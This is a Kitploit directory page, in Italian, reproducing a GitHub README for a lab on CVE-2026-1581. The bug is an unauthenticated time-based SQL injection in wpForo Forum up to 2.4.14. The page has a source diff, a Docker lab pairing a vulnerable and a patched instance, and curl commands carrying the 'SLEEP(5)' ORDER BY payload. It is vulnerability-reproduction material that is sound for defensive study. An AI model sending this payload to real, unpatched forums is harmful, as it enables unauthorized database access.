Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-1581-Analysis-Lab — Riproduce CVE-2026-1581, una SQL injection time-based non autenticata in wpForo Forum <=2.4.14, con un laboratorio Docker e PoC per dimostrare la vulnerabilità e verificare la patch. | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-1581-analysis-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-1581-analysis-lab

CVE-2026-1581-Analysis-Lab

Riproduce CVE-2026-1581, una SQL injection time-based non autenticata in wpForo Forum <=2.4.14, con un laboratorio Docker e PoC per dimostrare la vulnerabilità e verificare la patch.

Vedi Repository
146 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-1581 — wpForo Forum (<= 2.4.14) Iniezione SQL Time-Based non autenticata (ORDER BY)

ภาษาไทย


Riepilogo Esecutivo

CampoDettaglio
ID CVECVE-2026-1581
PluginwpForo Forum
Versioni Affette<= 2.4.14
Versione Corretta2.4.15
Tipo di VulnerabilitàIniezione SQL Time-Based non autenticata (ORDER BY)
Punteggio CVSS7.5 (Alto)
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE-2026-1581 è una vulnerabilità di Iniezione SQL Time-Based non autenticata nel plugin wpForo Forum (<= 2.4.14). Il parametro wpfob viene utilizzato in una clausola ORDER BY con solo una sanitizzazione testuale applicata, consentendo a un attaccante non autenticato di iniettare espressioni SQL arbitrarie e leggere dati dal database.

  • Il vendor ha corretto il problema nella versione 2.4.15 sostituendo sanitize_text_field() con wpforo_sanitize_orderby(), che applica una whitelist sensibile al contesto.


Ambito e Sicurezza

  • Eseguire solo in localhost + Docker Compose.

  • Il PoC è una prova di timing basata sul tempo per dimostrare la differenza tra le versioni vulnerabile e corretta.

  • Non utilizzare contro alcun sistema senza autorizzazione esplicita.


Evidenze in Sintesi

  • Prova della versione: La pagina /community/ carica /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vulnerabile) vs 2.4.15 (corretta).

  • Prova del codice: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

  • Prova del comportamento: wpfob=modified,(SELECT SLEEP(5)) causa un ritardo di ~5s sulla versione vulnerabile; la versione corretta risponde vicino alla baseline.


Cosa Ho Osservato dall'Advisory CVE

  • L'advisory CVE afferma solo che si tratta di un'iniezione SQL time-based tramite il parametro wpfob, corretta nella 2.4.15. Al momento dell'analisi, non era disponibile alcun PoC pubblico.

  • Questo write-up è stato quindi costruito tramite diffing del codice sorgente tra 2.4.14 e 2.4.15, tracciando il parametro dall'input HTTP attraverso la sanitizzazione fino al punto in cui viene utilizzato per costruire la query SQL — al fine di comprendere la causa principale e riprodurre il problema.

vulnx CVE-2026-1581


1) Analisi Guidata dal Codice Sorgente

1.1 Localizzazione di wpfob

Partendo con una grep per wpfob nel codice sorgente, è stato trovato che la pagina Recenti prende il valore direttamente da un parametro GET e lo assegna come argomento orderby.

find wpfob

Vulnerabile (2.4.14) — themes/classic/recent.php:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

Corretta (2.4.15) — stesso file, sanitizzatore sostituito:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

Perché concentrarsi su recent.php? Perché è una rotta attivabile dove wpfob viene assegnato direttamente a $args['orderby'].


1.2 Flusso dei Dati verso SQL: ORDER BY ...

Una volta impostato $args['orderby'], questo fluisce nel query builder di wpForo per costruire la clausola ORDER BY.

Concatenazione ORDER BY (vuln 2.4.14)

classes/Topics.php:

SQL builder: concatenazione ORDER BY in Topics.php

classes/Posts.php:

SQL builder: concatenazione ORDER BY in Posts.php

Spiegazione

  • sanitize_text_field() rimuove/pulisce solo la stringa — non applica una whitelist dei nomi di colonna consentiti.
  • Poiché orderby viene concatenato direttamente in ORDER BY <orderby>, un attaccante può iniettare espressioni SQL arbitrarie nella posizione ORDER BY.

Riferimento: https://developer.wordpress.org/reference/functions/sanitize_text_field/


1.3 Patch / Evidenze del Diff (2.4.14 → 2.4.15)

1.3.1 Diff: recent.php

root@kitploit:~
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.2 Diff: wpforo.php

root@kitploit:~
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.3 Nuova funzione di patch: wpforo_sanitize_orderby()

La versione 2.4.15 introduce un sanitizzatore whitelist sensibile al contesto che restituisce il valore predefinito se l'input non è nella lista consentita:

whitelistor


2) Progettazione del Laboratorio (Vuln vs Corretta)

2.1 Servizi in Docker Compose

  • wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081
  • wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082
  • db_vuln / db_patched (MariaDB)
  • seed_vuln / seed_patched — utilizza wp-cli per installare WordPress, installare il plugin, creare la pagina /community/ con lo shortcode [wpforo], configurare i permalink, generare .htaccess e creare artefatti di verifica.

2.2 Rotta di Test

Dalla lettura del sorgente, wpfob viene utilizzato esplicitamente nella pagina recenti:

  • http://localhost:8081/community/recent/?view=opened
  • http://localhost:8082/community/recent/?view=opened

3) Riproduzione: Prova di Timing

Almeno 1 argomento e 1 post devono esistere prima del test.

3.1 Perché "i post sono richiesti"

  • Questa è una vulnerabilità di iniezione ORDER BY.
  • Se wpForo non ha argomenti o post, la query potrebbe restituire 0 righe — in tal caso non avviene alcun ordinamento lato DB, il percorso del codice potrebbe non valutare l'espressione ORDER BY e non si osserva alcun ritardo — un falso negativo.

Sono richiesti almeno 1 argomento e 1 post.

3.2 Timing di Baseline

root@kitploit:~
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"

baseline

3.3 Timing di Attacco

root@kitploit:~
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

Previsto

  • Vuln: attack_vuln ≈ baseline_vuln + ~5s
  • Corretta: attack_patched ≈ baseline (nessun ritardo)

3.4 Risultati

result


Runbook — Come Costruire il Laboratorio e Usare il PoC (CVE-2026-1581)

1) Costruire il Laboratorio (Vuln vs Corretta)

1.1 Prerequisiti

  • Docker Desktop + Docker Compose v2
  • Porte disponibili: 8081 (vuln), 8082 (corretta)

1.2 File Richiesti

  • docker-compose.yml
  • scripts/seed-wp.sh

1.3 Avviare il Laboratorio

Dalla cartella del progetto:

root@kitploit:~
docker compose up -d

1.4 Verifica

Controllare che entrambe le istanze siano accessibili:

  • Vuln: http://localhost:8081/community/
  • Corretta: http://localhost:8082/community/

E la pagina recenti:

  • Vuln: http://localhost:8081/community/recent/?view=opened
  • Corretta: http://localhost:8082/community/recent/?view=opened

vuln home page vuln community page vuln recent page

1.5 Seed Argomenti / Post tramite wp-cli (solo per uso in laboratorio)

Richiesto per la riproducibilità e per prevenire falsi negativi.

root@kitploit:~
# 1) Controllare i conteggi (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) Inserire 1 argomento e 1 post (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'

Per l'istanza corretta, sostituire seed_vuln con seed_patched.


2) Utilizzo del PoC

2.1 Installare le Dipendenze

Si consiglia l'uso di un ambiente virtuale:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt

2.2 Eseguire il PoC

root@kitploit:~
# vuln
python3 poc.py http://localhost:8081

# corretta
python3 poc.py http://localhost:8082

2.3 Output del PoC

POC


3) Pulizia

root@kitploit:~
docker compose down -v

Riferimenti

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve
Scarica lo strumento